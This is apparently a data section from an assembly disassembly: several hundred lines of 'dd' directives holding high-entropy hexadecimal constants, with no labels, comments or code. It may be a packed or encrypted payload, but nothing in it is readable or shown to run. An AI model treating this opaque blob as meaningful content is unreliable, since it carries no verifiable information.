		dd 48A1B737h, 12C8EADAh, 7F00F7ABh, 9A00008Ah, 29022052h
		dd 65B2856Fh, 2E1C93D6h, 81F9D363h, 81D452F2h, 0DB4651Ch
		dd 0E2F016CBh, 0B2B81C80h, 4566525Eh, 32CB76D8h, 0DCE18FEAh
		dd 5B444CE2h, 0E3290A17h, 48E6B5ACh, 9A89809h, 55D8AAE8h
		dd 7ACC99Fh, 7308F143h,	4BC2CB5Fh, 5FEF8AAFh, 9254252Ah
		dd 1A54A470h, 0D6FB8860h, 26AD93A8h, 34A4ADB8h,	0F5FC2D2Ah
		dd 4734A0E0h, 777406B4h, 0E55230C1h, 280F5C9h, 4352A53Eh
		dd 0A9D4187Dh, 0E9EC9F4Ch, 4E7D2834h, 2C18A66h,	2A033CA4h
		dd 22005978h, 42A67186h, 0ACCD7283h, 59025140h,	4A6D3E89h
		dd 69758Ch, 0D2C3080h, 0DA78920Dh, 0D7439D63h, 4CF7EB48h
		dd 40C9E605h, 0B3B1C613h, 6031A5ADh, 0B50D0500h, 0FCD56403h
		dd 0CF483529h, 0BE49226Eh, 0D26D2B6h, 0D29652F9h, 34003768h
		dd 0F00418EEh, 0ACAF2480h, 71DBEC4Ah, 4E754807h, 336E0E19h
		dd 347914C6h, 8B2A4EB6h, 0FBC9B4F0h, 35757D82h,	9D37830Ch
		dd 0DB0F9D87h, 9B363FA5h, 5394B8DDh, 1C5147C5h,	0B6171466h
		dd 0B59FB651h, 0EF3AFAB5h, 0D9B61B01h, 0B946F6BAh, 16441CB2h
		dd 0A6C61F7h, 609F636Bh, 0C5C6D4FAh, 375854h, 0F0150345h
		dd 4C2C07CAh, 92BD04B8h, 42A18653h, 0D74081ABh,	0A4701205h
		dd 8404361Ch, 2D097344h, 28176B89h, 0A687A8CEh,	0AA1B0D72h
		dd 0FDE50AB4h, 34F9451Ah, 78560155h, 0E87142C1h, 5BB1E77Dh
		dd 0A026E6F6h, 0E770D422h, 0A95BB0DFh, 0F3D6F6F2h, 28A6E8C4h
		dd 0A67BF502h, 4E0DEEADh, 2C4DEB95h, 727246B2h,	2F2D64F7h
		dd 8ABFC3Ch, 50157B02h,	0D023943h, 604CCFD2h, 1CA48271h
		dd 0C5C12DEFh, 249BC020h, 1FAC67B3h, 0C53198E3h, 0C58BC260h
		dd 0A2A32A39h, 0D3107678h, 0B09CA2A3h, 655E558Eh, 83B92AA5h
		dd 0BCADC809h, 0D524DA45h, 42D3D009h, 4B5D521h,	17850523h
		dd 367DDD2Dh, 0FE567583h, 73156A61h, 0AA05F9D0h, 0A4321541h
		dd 2E86C8FBh, 23F0C4AFh, 0F2C86A59h, 0E9C82962h, 2E65D324h
		dd 0A6E76A53h, 0B32A8F47h, 0CD8E4514h, 280814E5h, 923431A7h
		dd 9AB541D3h, 9DA388D4h, 0D9A588FDh, 53D94766h,	47C2D51Ah
		dd 1CC58FDh, 843104B3h,	1FF8E9F7h, 56D88E35h, 0C8CB0D7Ch
		dd 82624554h, 5D4CBCC5h, 875F357Ah, 6045955Ah, 0DEBAA2B5h
		dd 0E83807Eh, 6757D5A5h, 649F4055h, 0C92C03C6h,	3C5C53D4h
		dd 0A114B726h, 0EC03C6A2h, 0BDC47A9Ah, 96198CF0h, 6EE79D27h
		dd 52DB8A28h, 0C7EA6E3Ah, 1C016263h, 0CEC244BDh, 0CC782B6Dh
		dd 88EDB9FAh, 8B9685AEh, 66B08B22h, 0AB6E161Eh,	15F229CAh
		dd 8F336B0Fh, 113048C7h, 0A317334h, 226A9B4Dh, 0FA9E6A5h
		dd 56A99E30h, 4D9BEB88h, 380533Eh, 0B33E724Eh, 0AE0B9A42h
		dd 0FF422FD7h, 304CE829h, 4395E073h, 3CD1970Eh,	0FD38B4D9h
		dd 5ECE2324h, 49F59A1h,	9AB544A5h, 0F840AB4Bh, 0B92D16F7h
		dd 0D7C657CFh, 9CFE622Dh, 0CE98EAAEh, 7F3C7720h, 0D53F0C6Dh
		dd 4B71BF02h, 0ECEFF6E4h, 7002A355h, 4AA872F7h,	0BDCD0E3Ch
		dd 17824FBFh, 554356A9h, 410FB58Dh, 0E0E1FE74h,	1E0AE140h
		dd 15B1FCD8h, 46AB8012h, 0D49F93B7h, 5C7F972h, 48099DEh
		dd 0CBE7CA37h, 0D65ED329h, 7CF3D9B9h, 0F04B18D2h, 0A773A099h
		dd 60B19200h, 4AF604F3h, 64A46905h, 598878CEh, 0BF3C9355h
		dd 940A77B3h, 6C014F3Bh, 460016D0h, 35759B08h, 0ADBACD96h
		dd 3470EEC4h, 58BDAA10h, 5BBF2218h, 0CD2AEEC4h,	0F14DA100h
		dd 0B3281D9Ah, 13C9AE61h, 8010A77Bh, 578EE7F2h,	5F4F3349h
		dd 980EE97Fh, 6010E826h, 0C4D6ABE9h, 0D960B88Ah, 0C2403853h
		dd 87C0E472h, 0EEE0FD2Fh, 0B8D8995Eh, 8977915Ah, 0DE4FACE7h
		dd 0FAECBF9Eh, 1737AFEDh
		dd 99ED7F49h, 0E3DAEA25h, 80E700C7h, 0EE785012h, 0D836B199h
		dd 31F87E07h, 0F87E3BD5h, 27E0FE95h, 77ABCF97h,	0D514064Fh
		dd 0E1C257C6h, 0F21130D4h, 0FDFC60F1h, 0A1F50048h, 0F833EE3h
		dd 1FA02DEAh, 9A30263Fh, 554BC8F4h, 0C36CFE38h,	0A6B47DD2h
		dd 0C5C057DAh, 6963DB9Ch, 2A991D04h, 1D869A1Bh,	0A797F1EBh
		dd 0FB7DDCE6h, 66A68B81h, 0CC5CA6E8h, 0C61D2304h, 0ED53C032h
		dd 0B5108C69h, 69760497h, 99A1C2A3h, 0AA9DB2CBh, 0B7E354A1h
		dd 3ECE38AFh, 0EDB23B70h, 9ACFD26Ch, 62D8A8C8h,	0B91CCA8Ch
		dd 40CFDAB2h, 6E5CAB6h,	812AA155h, 1A2ACDC5h, 3476B8D2h
		dd 3F3417EEh, 0BAB8F320h, 5795707h, 8915A0D5h, 0A090AE52h
		dd 4AB487D1h, 5B250A2Ah, 0CA9F8051h, 0AF8CA5CAh, 0D2BBCA0Fh
		dd 166089ACh, 0C156A038h, 25823453h, 0EA1D51AFh, 458BB6B4h
		dd 29DE566Dh, 9FA21765h, 5BAD59ADh, 0FD36D604h,	7A368A5Ah
		dd 1ECBF326h, 561B616Eh, 484371h, 0DF30A32Ah, 41B2A060h
		dd 8BAA12DBh, 0DED0EA05h, 4E926C8Fh, 579574ACh,	7993E6A0h
		dd 0A17547F7h, 66F13D1Bh, 3E799A51h, 39638B93h,	6856D360h
		dd 8A5DB901h, 0B7341D58h, 0D1D5BED9h, 0C6DD1705h, 89439921h
		dd 0ACB856B1h, 82F59712h, 5DBAB32h, 75040D90h, 3655ED65h
		dd 9AA36539h, 1C6A9C57h, 5D725C66h, 0AB51C5DEh,	0D05EBB9Ah
		dd 4ABC9531h, 32032AE5h, 63ACE36Fh, 2910F8A4h, 0A9F3C99Fh
		dd 8C99AACCh, 0E379C8AAh, 1B7D4B98h, 0E02ED927h, 0F915C696h
		dd 5E655D7Ah, 0DB71D658h, 39944771h, 0DD51DABh,	0B7151FCAh
		dd 31DBD9B4h, 74A25D2Bh, 0A455B317h, 0B4BE1D60h, 867AF05Ch
		dd 0D53A67B4h, 8969F879h, 9CC28D32h, 770938D9h,	0E9900518h
		dd 40A05215h, 358C3C18h, 83459A24h, 45682280h, 145759Ah
		dd 16DDB662h, 962520D5h, 86676A0h, 0A86C7265h, 5D6F1462h
		dd 0CE65A6C4h, 249A0D4h, 76852E10h, 7E3F5228h, 6BC8DB52h
		dd 880B2D36h, 0F6B820B5h, 57308294h, 0DAAFEA38h, 87704262h
		dd 82424E16h, 0B4CA50B1h, 8617A84Ch, 862CAE45h,	0B5662829h
		dd 292D8498h, 90C114F0h, 0AAA0B70Bh, 3E11D12Ch,	35F0F549h
		dd 251CAD82h, 1EA9BB76h, 28000C01h, 0D68361B1h,	9330D693h
		dd 94250Eh, 0CE8CD7D8h,	0A2D04B75h, 16F36944h, 8BE6EA74h
		dd 75FA2DCEh, 3B030C1Fh, 6460B10h, 0A6830D91h, 280C617Dh
		dd 0B665E020h, 5DF850AEh, 20615070h, 0E683140Fh, 58617582h
		dd 8BAD4550h, 11AC0617h, 66D7B583h, 4DFCE618h, 0E88C80CDh
		dd 4681AA53h, 32518950h, 9B439605h, 0AB69852Ah,	7D88564Bh
		dd 4ED014ABh, 82EE37C1h, 30CCAF19h, 556EC21Ch, 0B8941881h
		dd 1290306h, 0F86BE50h,	28A23635h, 4128B04Ah, 0C4B15BD8h
		dd 1B916AB5h, 8B920F02h, 1020A348h, 536D5288h, 5025B1E2h
		dd 0CD1DF7A0h, 50AB6197h, 538A4472h, 91234ECBh,	4B903352h
		dd 62CC7500h, 9CDCDAB2h, 628E2954h, 0C96B1938h,	0B6502CA2h
		dd 9DECAA96h, 0E6145853h, 14584984h, 4E905989h,	36622782h
		dd 630AE904h, 30A22F19h, 94763069h, 13078C78h, 43D23F65h
		dd 8F8167C9h, 56D7F0C3h, 0BFD9C377h, 473601B5h,	0C5805CDCh
		dd 0CAE8988Bh, 95A0C406h, 0D8AF5801h, 12711A0Ah, 302DC6h
		dd 0DB080220h, 20858303h, 0FA803316h, 0A8D0019Ah, 90104A2Fh
		dd 31103AC5h, 0E3D23B1Ch, 78367136h, 567B2BF8h,	0CC180239h
		dd 0BEA72A1Ch, 0DEC18044h, 170319E9h, 0C6080021h, 2C814E8Eh
		dd 0E042BCD2h, 0DF6ACEC4h, 30A56C94h, 278E4E03h, 5FCE553Fh
		dd 3981BBA5h, 0FA78D1B8h, 8A5EE23Ah, 1E002A67h,	1CBA0B31h
		dd 7AA166A1h, 88307C4Fh, 0C901157Fh, 264F7CB7h,	720DCE36h
		dd 91D59975h, 330D80E4h, 824C004Eh, 306091C0h, 0A9753CCh
		dd 96FAA977h, 0E663BF9Dh, 753CD35Ch, 201767F1h,	2C2EE98Ch
		dd 0F82C303h, 0C499365h, 0EA6CB28h, 0E2938D23h,	9DFC1296h
		dd 3DBA6793h, 30F80A65h, 0E1165451h, 0EB567C1Bh, 4C28CC62h
		dd 9BCAA829h, 8A18076Eh, 90B96C45h, 315B1E16h, 0C65FF91Ch
		dd 93301DCAh, 0FADE0625h, 0FAAFF6B2h, 23612074h, 0E278749Fh
		dd 8400E6BDh, 92B42EADh, 3E6B2391h, 0F2E1FC3Fh,	82302221h
		dd 9CD98E0h, 2B0FACA9h,	0ECCCB98Ch, 10B393BCh, 0ACB622CAh
		dd 0FCC20743h, 689C84C1h, 7902061Eh, 4EA13D04h,	0D4EF494Eh
		dd 0CD05ACF4h, 0C6A0EB05h, 0F1334BC1h, 3146181Bh, 0D9AE3BC1h
		dd 0A0C08184h, 0BB3463ECh, 2A5AB1DEh, 0D56DC1AEh, 0E40C4108h
		dd 18CA964Fh, 10209A8Fh, 3FC041Dh, 1630F2F9h, 984B5F8Ch
		dd 443694EEh, 46040409h, 60E91050h, 93D9119Eh, 1616E43h
		dd 5533E88Dh, 0F85343E1h, 0A2830E2h, 196F0FB8h,	47869671h
		dd 7D0DD391h, 0F0A360E6h, 8917826Dh, 17CB11F2h,	4E339A87h
		dd 1C60238Ah, 0E07E05B1h, 952C2960h, 19711E24h,	0A51A71AFh
		dd 0DAF22668h, 9417A271h, 6F165183h, 0BF0E060h,	0AD573E02h
		dd 794671DAh, 66596318h, 0C35F0245h, 0D758734h,	835011C1h
		dd 0AD052630h, 5C486AE0h, 28FA6884h, 0A4799F61h, 1981C918h
		dd 3006677Ch, 7B9B7D4Eh, 25A2DD6h, 142E140Dh, 1A89C5F4h
		dd 2C8A161Bh, 510DACEAh, 0AE6B9D63h, 2BC0885Ch,	7D2B74CDh
		dd 5188894Eh, 714C4610h, 3171651Eh, 2153B164h, 0F81CF4B8h
		dd 0C457B72Dh, 2C613E15h, 812D3767h, 56C55170h,	5E906F77h
		dd 1296221Ch, 0AB765AC6h, 2A2C55FDh, 8AACA612h,	90921732h
		dd 8BD3D8B2h, 0BD4DF062h, 3E16EA2Eh, 1654D7h, 0B9306197h
		dd 25729B70h, 35D2D2B5h, 0E0A371C6h, 4E5688B8h,	8D340D39h
		dd 5663D071h, 5754A4ABh, 0A7150C69h, 4228C859h,	51CAAAEFh
		dd 0E505C36Eh, 1937B32Ah, 0CB0B6C87h, 94B54AAAh, 634D30D3h
		dd 47641D1Eh, 97621D33h, 0AEEC6C02h, 2D956CB6h,	9D677A00h
		dd 4847428h, 0C519225Ch, 0D16DD4CCh, 75848BADh,	93B531CEh
		dd 40B80092h, 25E5CD66h, 0B27F1248h, 2EA88A2Ah,	625011A0h
		dd 0E843BC96h, 0C2FFD854h, 0AA0D0202h, 0A098720Bh, 0CB4D1220h
		dd 0AA2D9502h, 805E98D8h, 776DF230h, 0D6B9CF6Fh, 0C80BB989h
		dd 2B0A9469h, 8E7565D6h, 0C173D095h, 45025C32h,	7A392E29h
		dd 26A9AA91h, 49563A25h, 820B349Fh, 32E12314h, 0B0E05726h
		dd 0C2BF2CB3h, 56E96E7Ch, 559A2CB4h, 9F4314B3h,	2F4DFD32h
		dd 0FD26A095h, 0AE2A2A5Ch, 5CF19D45h, 0D715E294h, 2F5C85D2h
		dd 0E34A0514h, 2AA15453h, 0A4547E54h, 702E77D0h, 5D568D1Ch
		dd 0F39A75D6h, 5509912Ah, 52E62AD6h, 4992E001h,	0EEAA914Fh
		dd 25929F34h, 5FA13A39h, 0A65F82EEh, 11A30029h,	5E0C9536h
		dd 98044DA5h, 9D56AC29h, 0D77BAA69h, 0D2BEEDEBh, 0CB0AC63Ch
		dd 48BCBCD1h, 8FC2653Bh, 0EF8D51F5h, 7EF38D1Eh,	0EE401CECh
		dd 8FE32B34h, 24F71261h, 3178479Dh, 1F8141Dh, 0BAF1B6DAh
		dd 0E1ACBF26h, 13623262h, 0CB866D62h, 0C62E5D47h, 315D7636h
		dd 33857653h, 0D6EF182Eh, 2E6D3AEh, 3D39C717h, 0BDA5DF14h
		dd 451002B3h, 69BDC53Ch, 11E5FEA7h, 4E635474h, 0D01269C1h
		dd 0DF1069C9h, 8D0203A2h, 3D903B30h, 0C3776F51h, 514C9004h
		dd 0C3653943h, 0B69B615Ch, 5BB9207Dh, 7F5003Ch,	8662AFA7h
		dd 0BA1350FAh, 6797E628h, 0CA2031EEh, 499B3F95h, 1AA1BB9Dh
		dd 0DE6FC2A3h, 55512632h, 0DB286C63h, 730AB817h, 0B2A1B2EBh
		dd 4A1386AAh, 0F2F144D4h, 0D1205BDDh, 18C2AE4Eh, 5F82DAB8h
		dd 97EBE5B6h, 0C308500h
		dd 5280FC67h, 685DEF5Fh, 54DF2BE0h, 0BDC71552h,	0C256E468h
		dd 91F146B6h, 6471C218h, 0F854723Ch, 0EB7CB711h, 1A575064h
		dd 0EBFBEE9Ch, 6C859687h, 1AE59C3Ch, 0BB0BF2E3h, 18EA7E55h
		dd 18DCDCD0h, 0C4610C90h, 0CBA53DD7h, 72C49C55h, 0F5D32F25h
		dd 0B0EF634Ah, 0C24D4451h, 0E44F6425h, 22D967E8h, 0AB8B2B8Eh
		dd 0DB97133Eh, 0D6FDB11Dh, 0E69CC9CFh, 8CECB82Ah, 4585EDC4h
		dd 0D4FBAE2Fh, 0A0DBC705h, 33AA3207h, 738DE56Bh, 514DB995h
		dd 0B24A4F53h, 3E608BCCh, 0CCD5B54Ah, 0AC559C25h, 633643E2h
		dd 8AE67356h, 0B85AA811h, 0E60D9E7Eh, 466AA26Ch, 511825A0h
		dd 0C1385AA0h, 3811DDF9h, 0C5D83BDFh, 0AFE5B517h, 0C6A2BD19h
		dd 40DA858Ah, 1A8F7E57h, 0F86894B7h, 36632122h,	8E941EEBh
		dd 2BD097Eh, 0C121125Fh, 29D47685h, 0C9EF6355h,	35C2B2D6h
		dd 2DACE4B7h, 0A72BA92Dh, 6B39AD50h, 0F382F3F7h, 42EB84CBh
		dd 0D8D8762Ch, 77172D2Eh, 331C7959h, 8A41CE0Ch,	0D4B22B97h
		dd 0BD7CCAA5h, 0C4838A6Eh, 0C5B5653Ah, 0B55F6B1h, 0F2502CC8h
		dd 578E26A2h, 0CA491E8Fh, 598F2A81h, 94AE779Eh,	0F9C71C50h
		dd 48267319h, 0AB24845Bh, 0AD54B37Ch, 0E077331Dh, 31C0F00Eh
		dd 0E298B5D2h, 1D3BC6EAh, 5A2AB986h, 50E3EBB9h,	0EF6113F9h
		dd 54CBEFE2h, 0CEF384BAh, 2C005FAFh, 0A8E82835h, 19262C60h
		dd 514CD0FCh, 1517F902h, 14EA11D4h, 0A9FA4893h,	5B3D82BCh
		dd 0BCBBE2Ch, 0ADF02D29h, 2F8F8132h, 0E4D12E1Dh, 61F14AA2h
		dd 0CDD691AEh, 40CE6199h, 797C0D95h, 0CE5C6385h, 0F26B4B7h
		dd 40FA283Bh, 2E81EDEFh, 0FF542C60h, 61AD03D9h,	9BBDD42Dh
		dd 5ABD7267h, 9767420Eh, 56D645ABh, 987D329Ch, 0ED748783h
		dd 0D7EE1ADFh, 0C1447CC3h, 46C1B755h, 8D737EF8h, 0D50C0E3Ah
		dd 0D768D66Bh, 0C6AE80ECh, 47CCC7C8h, 32A5513h,	0C9665780h
		dd 0D0F1DD65h, 2AA3B84Bh, 3A3EEBE2h, 8DDD5AF5h,	4D8E3DE0h
		dd 61EFED50h, 4569F83h,	6DE54760h, 0E999087Eh, 0BAC417D9h
		dd 3A79AD5Ch, 59DAC956h, 0AD9F67E2h, 0A7A2529Eh, 396B0A9h
		dd 317A0DC6h, 0AE470F18h, 801EA91Eh, 0E2ED8A23h, 3EC2F417h
		dd 4B093F74h, 2A9C0994h, 5158EBEFh, 290E01F6h, 65F2CBBh
		dd 101B3DE0h, 0C4C3F23Bh, 0E1359C4Fh, 6C90892Fh, 0A2F23B63h
		dd 97CD8D25h, 0D4BDF2F9h, 109EB5AFh, 341332A6h,	60AFF14Bh
		dd 5A2FADC0h, 0CE2A22E4h, 0ED7F83E8h, 3B0BE296h, 8CD8CD86h
		dd 1519B9A6h, 1D6FAE62h, 4C5EA6DFh, 885621BBh, 8B5D4BA0h
		dd 0B797401Dh, 0E71FE74Fh, 0A47506DDh, 9CD5A5C5h, 0A03C2C19h
		dd 7B61C72Dh, 2B4C2594h, 176B485Fh, 37949463h, 1C2AE1A4h
		dd 22EA394Eh, 8E94572Eh, 9A4F2A06h, 92262B8Eh, 62B4C5F9h
		dd 0DEA28EE0h, 0CC8BC574h, 11D9F488h, 1C6FE2A3h, 652B9209h
		dd 1363DE43h, 0C94955D7h, 45CC8765h, 37948E35h,	1CBC8663h
		dd 0C152692Ah, 80DEFC72h, 1C5BA49Ah, 14A98A4Fh,	0C31A8EB7h
		dd 90A03E6h, 556A2A8Ah,	0D9BDE7F0h, 3B6BEF2Ah, 0BAA3F1EDh
		dd 5D70375Ch, 1BDCD1C4h, 0E35A7D7Ch, 4014098h, 1D1B958Fh
		dd 0AC588760h, 4B197030h, 0C343FD78h, 0A73A5699h, 0AE0C69BAh
		dd 9E39FC1Ah, 2D224AB3h, 33AB8A3Eh, 131E909Fh, 58D6F384h
		dd 0F5E60E8Bh, 5C5C2A94h, 7179372Bh, 0E22DF6CDh, 601CD6BDh
		dd 0EBCFB0A4h, 105FAB17h, 0A62A842Bh, 0B370169Fh, 0F2FFE487h
		dd 0AB52BFCAh, 9D54A50Eh, 0D4152462h, 0F85832EFh, 957C70AAh
		dd 0F4B40C4Dh, 0CBAA3A71h, 7558C579h, 2AA2C3C8h, 0A4F824AEh
		dd 0F653F2Bh, 0F94255F5h, 32D6799Dh, 2B932957h,	0C174B9BFh
		dd 9A931AFCh, 798F195Eh, 0F7566405h, 282F57C6h,	4BEAA9D5h
		dd 25DDB800h, 38AE5E9h,	25726C3Eh, 0A6309946h, 0C1D58945h
		dd 0DC8092A4h, 8CE59065h, 1F447157h, 0CFAD5E23h, 8AF20DA9h
		dd 98A0A9A5h, 46CC9C64h, 5558ABB7h, 0D96280B9h,	98726595h
		dd 0B35A32AEh, 0AEFCBB0Ah, 0E6401502h, 0B62EEC92h, 875DF662h
		dd 69F83BADh, 0A592F2Ch, 0C642FBF2h, 2C15D4C6h,	0ABAC77Dh
		dd 8FBFAE01h, 0ABEDF0Fh, 2EF34070h, 79E3FCFDh, 3B3107CCh
		dd 7197EFD7h, 0C19CCACCh, 7EF35B25h, 3D19FD1Fh,	0DD82518Fh
		dd 0D64CF51h, 0DB6C362Bh, 0E3608EB1h, 0FBD889E3h, 67A37EC8h
		dd 4AFD33BFh, 14FA3Bh, 4972D097h, 203F7EB7h, 9E35C5B3h
		dd 0B40C5418h, 0EF1268B0h, 0FB1168FAh, 488C0218h, 2D498EBDh
		dd 6CBAF1EAh, 5269B320h, 0CCF89D5Fh, 0CAFDEBA9h, 37F6C88Fh
		dd 80FE3794h, 8EEE456Ah, 0ED6EDC2Eh, 0B007233h,	4ADA8210h
		dd 0BF572168h, 751A46B6h, 1683149Ah, 85549F5Dh,	0B499943Ah
		dd 0EB4D0764h, 0A5C0B4D2h, 0A099A45Eh, 0D2E88952h, 348144B9h
		dd 30614D25h, 89016C96h, 9206654h, 0DC61E555h, 0D4C17F61h
		dd 85F1B4A7h, 0D17D95FFh, 88A1D7BAh, 36C18B60h,	848D5D6Dh
		dd 735FF294h, 7034EF3h,	0BA483141h, 0DD069A42h,	197FE575h
		dd 5671D669h, 1F728B71h, 0C45C98A5h, 312ABE60h,	30733398h
		dd 0A21BADC8h, 215B3EE3h, 0F029A680h, 0FC0ECA4Dh, 0F9052A8Fh
		dd 6D45C95h, 0EFE78CDAh, 0B2FB2467h, 0FB58630Dh, 855CD03h
		dd 81D0AAAh, 4DA28A80h,	9C21A5A1h, 2066A139h, 6CD54EAAh
		dd 858A6A85h, 24D514DAh, 6A052AB2h, 0B1B49B52h,	51295F23h
		dd 91ADD9Ah, 0E454D2FAh, 2E256142h, 0DA3D3914h,	0D5DBAAE8h
		dd 311F1958h, 5167879Ah, 465BE830h, 1585A02Ah, 522E5B5Fh
		dd 1F179F25h, 2C86AE9Eh, 9A28D445h, 0F6EA5814h,	575F873Bh
		dd 5851302Ah, 0B03AE616h, 8A96C570h, 3697BBDAh,	8C4E57F0h
		dd 2AB23146h, 59A9E0DFh, 0BFACDBCCh, 0E17F42B2h, 301F02B5h
		dd 808CFA5h, 44208D1Dh,	1264E51Ah, 58C92958h, 0A8E78CB2h
		dd 4B612DE9h, 3975C004h, 6F4D658Dh, 0F977B011h,	0E4C81911h
		dd 80BE3BD2h, 73282ACCh, 1A6D2BE3h, 772601E3h, 923C5309h
		dd 95541977h, 7D9462CDh, 468673F9h, 5BEF9675h, 53195BF2h
		dd 5A2D9F73h, 779453D1h, 70F566B4h, 3446265h, 58A860Eh
		dd 0C0F9A192h, 0B0192D38h, 0B3F214B4h, 364B0151h, 0E29D23Bh
		dd 648A7B51h, 8BA8CAADh, 13554E3Ah, 0AE57B01h, 1351B8C7h
		dd 46878D5Dh, 0B79C8DD9h, 0D195D97Dh, 0A51851ABh, 99AC1F95h
		dd 0E31AA2ABh, 1DD7D78Bh, 0EBBB3966h, 3AB2D7A7h, 6576B92Dh
		dd 0FCBAEA58h, 0B0732640h, 800EA9C4h, 8F431A64h, 0ABD06C8Ah
		dd 0F6025A78h, 0F01105B1h, 2A541CA1h, 4B51625h,	157BC6F7h
		dd 3CFE7439h, 195D5566h, 74D25788h, 0A07A06B2h,	58F81CABh
		dd 94468FACh, 0AF5CC98Bh, 32B216ACh, 0D750531Bh, 5554722Dh
		dd 3390183Eh, 32874A0Dh, 0BD2AA0EBh, 8160A2A8h,	0D09AA934h
		dd 85F8B7DCh, 7324F166h, 0EA44B343h, 0E56D7B50h, 3D50D699h
		dd 4505517Fh, 0A6E7BCA5h, 9D3D79FFh, 1F495C8Ch,	0BFA7C6E5h
		dd 0EE2951F6h, 5E614C88h, 45BB298Bh, 1A11C6C2h,	0C368B04Ch
		dd 8A02D62Ch, 8A1CC8EFh, 0FB552B8Bh, 0C986FBC6h, 55684F5Ah
		dd 0BC432915h, 463B1622h, 46872FE0h, 4316A0DCh,	8AC645Fh
		dd 90155E57h, 0AFDEB38Bh, 532E2E84h, 2E359FCDh,	8AE0A50Ah
		dd 6EC2A2F3h, 7D2E13D8h, 51D192E1h, 624864C7h, 0AA11C342h
		dd 4BCA7177h, 419DD305h, 0A5A4DC09h, 0B01B3AB9h, 0BF150517h
		dd 0C477DD46h, 5FB97DE4h, 2602DF45h, 96B0094Eh,	468CEAE6h
		dd 0C2E69811h, 52CB3EE3h, 3D08C203h, 0AA47F2ABh, 86E08EA3h
		dd 926D41C9h, 3B372A28h
		dd 68DAAD56h, 8F1FE0F1h, 7A2DBBCDh, 3C3A2AB4h, 593A2FBFh
		dd 0A12AD45Ah, 3EFC2518h, 0B2480Ch, 2739F1ACh, 0AE35F75Fh
		dd 1D7C8076h, 40B1BE43h, 8E6377F1h, 6FFDD76Ch, 28EB45E8h
		dd 0FBC97FE1h, 0D7F021A2h, 0DC2F8B42h, 0AD8A5D08h, 0C4CA2FE8h
		dd 9424EA7Bh, 72BA9FB0h, 10D4FE9Bh, 8529F10h, 5759EC21h
		dd 0B2E9412Ah, 74C193A6h, 0CD1D8B06h, 0ABE95DE7h, 0A0F11742h
		dd 0D9180792h, 525C75F8h, 18334904h, 0E06E4C8Bh, 9DFFAF59h
		dd 74FFCCC1h, 0F3469612h, 3EA8CC93h, 456B0805h,	65686A87h
		dd 854A5CDAh, 912C4475h, 512C819Eh, 112BE276h, 0D12B6276h
		dd 14ACE275h, 12816250h, 4A888957h, 7D992550h, 0CBAB940Dh
		dd 306231A3h, 415FA7E2h, 23040795h, 53BA876Bh, 16AC4083h
		dd 44105BD4h, 0A1188046h, 174BDDD1h, 80892004h,	16B25830h
		dd 0BB847F2Ah, 93023044h, 2E841121h, 0E9441684h, 6194EE56h
		dd 6BB9C263h, 63F6C82Bh, 0CAEB015Bh, 0ACAE4276h, 0ED3EBF42h
		dd 4BAD108Eh, 0B3DA8E03h, 31C6872Ah, 0F32A3CB9h, 0CC79A2B0h
		dd 9C4DBE21h, 9DA60904h, 37180A4Bh, 0A8AD319Dh,	43C9D1E6h
		dd 0BAC5CADFh, 0B1F868E8h, 0E59AD543h, 0C48D2A7Fh, 5955D8BBh
		dd 545254B4h, 0E420CB6Ch, 8F5889AEh, 2066AD30h,	5312D2E6h
		dd 0B11CC8E5h, 943D734Ah, 12477427h, 519EC973h,	6BE05D5Ah
		dd 9D0042Ch, 60688301h,	54D35C7Dh, 332832C4h, 1652BB48h
		dd 502CF02Eh, 3EB16D18h, 3D2EB851h, 0C1F3D0C4h,	65AC6805h
		dd 82A2B68Fh, 23EA6A57h, 162CEA4Eh, 415045B3h, 0D6C05156h
		dd 2A127C55h, 283E6099h, 0A3E24EADh, 0B25DC873h, 15940478h
		dd 956B9A17h, 0CDA83022h, 0E295955h, 3333C281h,	0A5FF90A3h
		dd 0E5912133h, 630D3583h, 5E02DE6Dh, 2CAFA1F3h,	6111896Eh
		dd 0B930A08Dh, 0A5845068h, 0D995DB01h, 9494A081h, 45186C9Dh
		dd 9CF15664h, 5101F9C6h, 45957AF2h, 0C419766Eh,	0BCB2C74Ah
		dd 20D10DCAh, 1A96C4B1h, 2225F15Bh, 0A9E42A8Bh,	975786D8h
		dd 0C5888A1Eh, 2CB4DE01h, 23A337ADh, 3C0A2B74h,	0EBC70218h
		dd 6FCB41D8h, 5C170CE9h, 9B110A2Eh, 4BBBF8A1h, 4DE09A07h
		dd 0AEA6724Bh, 0D955A058h, 0C6330518h, 0EAD082B2h, 0DA2403B8h
		dd 2E972F50h, 323CB62Eh, 0D41507D1h, 0B164FCF8h, 0E5A752Eh
		dd 0DA341D9Fh, 54B3C8CDh, 0C76D6728h, 2E5A5D56h, 1567AC9h
		dd 96F93367h, 5C507A09h, 0C114514Fh, 0A9B2AB98h, 0B29B438Ch
		dd 65C5A386h, 302675A5h, 0D94C67E0h, 2AE82F2Eh,	614D57Bh
		dd 445B3134h, 5F4A75C9h, 0A3469D71h, 0D179CC5Bh, 65303459h
		dd 0BD331496h, 47821561h, 87C7660Bh, 951CD9C2h,	573DE2C9h
		dd 5C01929Eh, 380B5422h, 0A5465527h, 0C4AD5F6h,	18061866h
		dd 0B8C39285h, 0C1300A9Ch, 54F508A9h, 74486212h, 4505C02Eh
		dd 729EE694h, 0AEB9C55Ch, 8A3ADB95h, 74446EDh, 0A6E2E15Eh
		dd 0DE5E88Ah, 9528ED68h, 0D2544DA7h, 9A3F15C0h,	1E639E51h
		dd 15109584h, 0C669CE07h, 52FC096Ch, 0B5D45357h, 0AB1201B9h
		dd 85054Dh, 6D974D36h, 6D7A66CAh, 85E3372Ah, 42E2D6C7h
		dd 0C3620EA9h, 0C00AB09Ch, 75D6A9B8h, 60D1FAC5h, 5D92E563h
		dd 0AAEE8054h, 86CCC260h, 0CFFBC491h, 0B5285DA9h, 808F7E20h
		dd 22E06FA2h, 3A2AA320h, 0F318ABCAh, 0FDDB8C68h, 0EC2F6E2Bh
		dd 28282AF9h, 3F0C4ABh,	718B24h, 256B2515h, 0A078AB95h
		dd 0D25C7F4Ch, 72741DCAh, 4875B4EDh, 93851318h,	0C2B3C246h
		dd 61742532h, 0D4723175h, 3AC55EAh, 0B953A402h,	0CEE750CAh
		dd 35342B77h, 411C3C0Ah, 0FCB94774h, 95D6E815h,	9ACCC614h
		dd 0D8418A01h, 9453483Bh, 0DB13ADCCh, 0F80AAEB6h, 33184AC0h
		dd 0C25DD691h, 9A05355Ah, 61465263h, 0A38B9868h, 0B33BA0B5h
		dd 7A94E87Ah, 99AE148Bh, 0FA5D12ABh, 6E04028Bh,	0D728869Fh
